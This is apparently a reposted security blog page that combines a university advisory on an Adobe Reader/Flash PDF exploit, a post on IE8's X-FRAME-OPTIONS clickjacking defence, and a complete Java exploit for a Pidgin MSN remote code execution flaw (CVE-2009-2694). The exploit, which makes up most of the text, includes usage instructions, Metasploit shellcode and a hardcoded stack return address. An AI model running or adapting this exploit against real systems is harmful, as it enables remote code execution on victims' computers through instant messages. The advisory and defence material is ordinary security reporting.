Hacker Source

Virus writers have created an exploit for an unpatched vulnerability in Adobe Flashplayer, Acrobat and Acrobat reader. The vulnerability exists in these applications on all platforms, Windows, OS X, Linux and Solaris.

The vulnerable products are:

* Adobe Reader 9.1.2 and earlier 9.x versions
* Adobe Flash Player 9.0.159.0 and 10.0.22.87 and earlier 9.x and 10.x versions

You can read the alert from Adobe at: http://www.adobe.com/support/security/advisories/apsa09-03.html

The exploit runs with the privileges of the current user. The known virus is delivered as a PDF file which could be attached to an email or posted on a web page.

OIT has seen an instance of an infected computer sending email with .PDF attachments. The emails had a message saying the attachment was an e-card or an invoice for a recent purchase. Usual warnings apply, if you weren't expecting an email with an attachment, don't open the PDF attachment. If you don't know the sender, don't open the PDF attachment.

The malicious PDF contains flash content. In the Windows environment, if the malicious PDF is opened with an Adobe product, it will exploit the vulnerability via the flash player .dll called authplay.dll. On a Windows system, it is apparently possible to disable the connection between Acrobat and Flash by renaming that .dll and one in the same directory called rt3d.dll. This is the only workaround at this time. There are alternate PDF viewers that would not be vulnerable.

According to malware analysts, the exploit will work on Windows 9x, NT, 2K, XP, Vista, Server 2000 and Server 2003.

Adobe is working on a patch and says it will be ready for all platforms, but Solaris, on 7/30/09. So until then, use caution when opening that PDF. If you receive a PDF that crashes Acrobat, I'd like to know.

source oit.ncsu.edu

Yesterday I published a blind analysis of the so called “Clickjacking protection” included in IE8 RC1. “Blind” because, hype aside, there was no technical documentation available, even if the feature was targeted to web developers who — in order to protect their users — should modify the way their pages are served.

After a while, Microsoft’s David Ross sent me an email confirming that my wild guesses about IE8’s approach, its scope and its limitations were indeed correct. The only information obviously missing from my “prophetic” description was the real name of the “X-I-Do-Not-Want-To-Be-Framed-Across-Domains” HTTP header to be sent before the sensible pages, and today this little mystery has been finally unveiled by Eric Lawrence on the IE Blog:

Web developers can send a HTTP response header named X-FRAME-OPTIONS with HTML pages to restrict how the page may be framed. If the X-FRAME-OPTIONS value contains the token DENY, IE8 will prevent the page from rendering if it will be contained within a frame. If the value contains the token SAMEORIGIN, IE will block rendering only if the origin of the top level-browsing-context is different than the origin of the content containing the X-FRAME-OPTIONS directive. For instance, if http://shop.example.com/confirm.asp contains a DENY directive, that page will not render in a subframe, no matter where the parent frame is located. In contrast, if the X-FRAME-OPTIONS directive contains the SAMEORIGIN token, the page may be framed by any page from the exact http://shop.example.com origin.

As I had anticipated, IE8’s “clickjacking protection” is just an alternate scriptless way to perform frame busting, a well known and simple technique to prevent a page from being “framed” in another page and therefore becoming an easy UI Redressing target. Microsoft had to follow its own special path because the traditional JavaScript implementation can be easily circumvented on IE, e.g. by loading the targeted page inside an IFRAME SECURITY=restricted element. But the other major browsers are equally “protected” (if we can call “browser protection” something relying on the good will and education of web authors) by “standard” frame busting. Therefore, slogans like “the first browser to counter this type of threat” (James Pratt, Microsoft senior product manager) were marketspeak at its best. Furthermore, this approach is useless against Clickjacking in its original “historical” meaning, i.e. those attacks involving Flash applets and other kinds of plugin embeddings which led Robert “RSnake” Hansen and Jeremiah Grossman to invent the successful buzzword.

However in my post I had also written that having such a scriptless alternative as a cross-browser option would be nice:

I do believe that a declarative approach to control subdocument requests is an excellent idea: otherwise I wouldn’t have included the SUB pseudo-method in ABE Rules Specification (pdf). Moreover, as soon as I’ve got some less blurry info (David Ross, I know you’re listening, why don’t you drop me a line?), I’ll be happy to immediately implement a compatible feature in NoScript and lobby Mozilla for inclusion in Firefox 3.1.

David kindly answered

I think this would be fantastic and it’s a great place to start building some bridges.

I agree, in facts I’ve filed an enhancement request for Firefox, and I’m already working to release a NoScript development build featuring X-FRAME-OPTIONS support: that’s relatively easy, since I can hook in the work I’m already doing for the ABE module. (Update 2009-29-01: I just released NoScript 1.8.9.9 development build, featuring full experimental X-FRAME-OPTIONS compatibility support).
It’s worth noticing, though, that this is just a cross-browser compatibility effort: neither Firefox nor NoScript really need this feature. Traditional JavaScript-based frame busting works fine in Firefox, giving it the same degree of (modest) “protection” as IE8. NoScript users, on the other hand, are already fully protected, because ClearClick is the one and only countermeasure which works against any type of Clickjacking (frame or embed based), no matter if web sites cooperate or not.

Speaking of NoScript, I’ve got a small but important correction to the otherwise excellent article Robert McMillan wrote for PC World (IDG News) yesterday:

Because clickjacking requires scripting, the attack doesn’t work when NoScript is enabled.

This statement is wrong twice:

1. Clickjacking does not require scripting: JavaScript might make the attacker’s life easier, but it’s not indispensable to throw an attack.
2. NoScript does not need scripting to be disabled in order to protect its users against Clickjacking: its exclusive ClearClick anti-Clickjacking technology works independently from script blocking.

That’s why NoScript can be recommended to anyone, even to grandma who’s not inclined to block JavaScript: albeit I do not encourage using NoScript’s “Allow Scripts Globally” command because the default deny policy is your best first-line defense, many additional protection features such as Anti-XSS filters and ClearClick still remain active even when JavaScript is enabled, providing the safest web experience available in any browser.

source hackademix.net

Pidgin MSN <= 2.5.8 Remote Code Execution

Pierre Nogues - pierz@hotmail.it
http://www.indahax.com/

Description:
Pidgin is a multi-protocol Instant Messenger.

This is an exploit for the vulnerability[1] discovered in Pidgin by core-security[2].
The library "libmsn" used by pidgin doesn't handle specially crafted MsnSlp packets
which could lead to memory corruption.

Affected versions :
Pidgin <= 2.5.8, Adium and other IM using Pidgin-libpurple/libmsn library.

Plateforms :
Windows, Linux, Mac

Fix :
Fixed in Pidgin 2.5.9
Update to the latest version : http://www.pidgin.im/download/

References :
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2694
[2] http://www.coresecurity.com/content/libpurple-arbitrary-write
[3] http://www.pidgin.im/news/security/?id=34

Usage :
You need the Java MSN Messenger library : http://sourceforge.net/projects/java-jml/
javac.exe -cp "%classpath%;.\jml-1.0b3-full.jar" PidginExploit.java
java -cp "%classpath%;.\jml-1.0b3-full.jar" PdiginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL
download source code, click here

import net.sf.jml.*;
import net.sf.jml.event.*;
import net.sf.jml.impl.*;
import net.sf.jml.message.p2p.*;
import net.sf.jml.util.*;

public class PidginExploit {

private MsnMessenger messenger;
private String login;
private String password;
private String target;

private int session_id = NumberUtils.getIntRandom();

private byte shellcode[] = new byte[] {

/*
* if you use the stack in your shellcode do not forgot to change esp because eip == esp == kaboom !
* sub esp,500
*/
(byte) 0x81, (byte) 0xEC, (byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x00,


/*
* windows/exec - 121 bytes
* http://www.metasploit.com
* EXITFUNC=process, CMD=calc.exe
*/
(byte) 0xfc, (byte) 0xe8, (byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8b, (byte) 0x45,
(byte) 0x3c, (byte) 0x8b, (byte) 0x7c, (byte) 0x05, (byte) 0x78, (byte) 0x01, (byte) 0xef, (byte) 0x8b,
(byte) 0x4f, (byte) 0x18, (byte) 0x8b, (byte) 0x5f, (byte) 0x20, (byte) 0x01, (byte) 0xeb, (byte) 0x49,
(byte) 0x8b, (byte) 0x34, (byte) 0x8b, (byte) 0x01, (byte) 0xee, (byte) 0x31, (byte) 0xc0, (byte) 0x99,
(byte) 0xac, (byte) 0x84, (byte) 0xc0, (byte) 0x74, (byte) 0x07, (byte) 0xc1, (byte) 0xca, (byte) 0x0d,
(byte) 0x01, (byte) 0xc2, (byte) 0xeb, (byte) 0xf4, (byte) 0x3b, (byte) 0x54, (byte) 0x24, (byte) 0x04,
(byte) 0x75, (byte) 0xe5, (byte) 0x8b, (byte) 0x5f, (byte) 0x24, (byte) 0x01, (byte) 0xeb, (byte) 0x66,
(byte) 0x8b, (byte) 0x0c, (byte) 0x4b, (byte) 0x8b, (byte) 0x5f, (byte) 0x1c, (byte) 0x01, (byte) 0xeb,
(byte) 0x8b, (byte) 0x1c, (byte) 0x8b, (byte) 0x01, (byte) 0xeb, (byte) 0x89, (byte) 0x5c, (byte) 0x24,
(byte) 0x04, (byte) 0xc3, (byte) 0x5f, (byte) 0x31, (byte) 0xf6, (byte) 0x60, (byte) 0x56, (byte) 0x64,
(byte) 0x8b, (byte) 0x46, (byte) 0x30, (byte) 0x8b, (byte) 0x40, (byte) 0x0c, (byte) 0x8b, (byte) 0x70,
(byte) 0x1c, (byte) 0xad, (byte) 0x8b, (byte) 0x68, (byte) 0x08, (byte) 0x89, (byte) 0xf8, (byte) 0x83,
(byte) 0xc0, (byte) 0x6a, (byte) 0x50, (byte) 0x68, (byte) 0x7e, (byte) 0xd8, (byte) 0xe2, (byte) 0x73,
(byte) 0x68, (byte) 0x98, (byte) 0xfe, (byte) 0x8a, (byte) 0x0e, (byte) 0x57, (byte) 0xff, (byte) 0xe7,
(byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65,
(byte) 0x00
};

// reteip = pointer to the return address in the stack
// The shellcode will be wrote just before reteip
// and reteip will automaticly point to the shellcode. It's magic !
private int reteip = 0x0022CFCC; //stack on XP SP3-FR Pidgin 2.5.8

private int neweip;
private byte[] payload = new byte[shellcode.length + 4];
private int totallength = reteip + 4;

public static void main(String[] args) throws Exception {

if(args.length != 3){
System.out.println("PidginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL");
}else{
PidginExploit exploit = new PidginExploit(args[0],args[1],args[2]);
exploit.start();
}

}

public PidginExploit(String login, String password, String target){
this.login = login;
this.password = password;
this.target = target;

neweip = reteip - shellcode.length ;

for(int i=0;i payload[i] = shellcode[i];

payload[shellcode.length] = (byte)(neweip & 0x000000FF);
payload[shellcode.length + 1] = (byte)((neweip & 0x0000FF00) >> 8);
payload[shellcode.length + 2] = (byte)((neweip & 0x00FF0000) >> 16);
payload[shellcode.length + 3] = (byte)((neweip & 0xFF000000) >> 24);
}

public void start() {
messenger = MsnMessengerFactory.createMsnMessenger(login,password);
messenger.getOwner().setInitStatus(MsnUserStatus.ONLINE);

messenger.setLogIncoming(false);
messenger.setLogOutgoing(false);

initMessenger(messenger);
messenger.login();
}

protected void initMessenger(MsnMessenger messenger) {

messenger.addContactListListener(new MsnContactListAdapter() {

public void contactListInitCompleted(MsnMessenger messenger) {

final Object id = new Object();

messenger.addSwitchboardListener(new MsnSwitchboardAdapter() {

public void switchboardStarted(MsnSwitchboard switchboard) {

if (id != switchboard.getAttachment())
return;

switchboard.inviteContact(Email.parseStr(target));
}

public void contactJoinSwitchboard(MsnSwitchboard switchboard, MsnContact contact) {
if (id != switchboard.getAttachment())
return;

MsnP2PSlpMessage msg = new MsnP2PSlpMessage();
msg.setIdentifier(NumberUtils.getIntRandom());
msg.setSessionId(session_id);
msg.setOffset(0);
msg.setTotalLength(totallength);
msg.setCurrentLength(totallength);

// This flag create a bogus MsnSlpPacket in pidgin memory with a buffer pointing to null
// We'll use this buffer to rewrite memory in the stack
msg.setFlag(0x1000020);

msg.setP2PDest(target);

switchboard.sendMessage(msg);

System.out.println("First packet sent, waiting for the ACK");

}

public void switchboardClosed(MsnSwitchboard switchboard) {
System.out.println("switchboardClosed");
switchboard.getMessenger().removeSwitchboardListener(this);
}

public void contactLeaveSwitchboard(MsnSwitchboard switchboard, MsnContact contact){
System.out.println("contactLeaveSwitchboard");
}
});
messenger.newSwitchboard(id);
}
});

messenger.addMessageListener(new MsnMessageAdapter(){

public void p2pMessageReceived(MsnSwitchboard switchboard,MsnP2PMessage message,MsnContact contact) {

//We receive the ACK of our first packet with the ID of the new bogus packet
message.getIdentifier();

MsnP2PDataMessage msg = new MsnP2PDataMessage(session_id, message.getIdentifier(), neweip,
payload.length, payload, target);

switchboard.sendMessage(msg);
System.out.println("ACK received && Payload sent !");
System.out.println("Exploit OK ! CTRL+C to quit");

}
});



messenger.addMessengerListener(new MsnMessengerAdapter() {

public void loginCompleted(MsnMessenger messenger) {
System.out.println(messenger.getOwner().getEmail() + " login");
}

public void logout(MsnMessenger messenger) {
System.out.println(messenger.getOwner().getEmail() + " logout");
}

public void exceptionCaught(MsnMessenger messenger,
Throwable throwable) {
System.out.println("caught exception: " + throwable);
}
});

}
}

// Original source milw0rm.com [2009-09-09]

Need more Computer and Internet security click here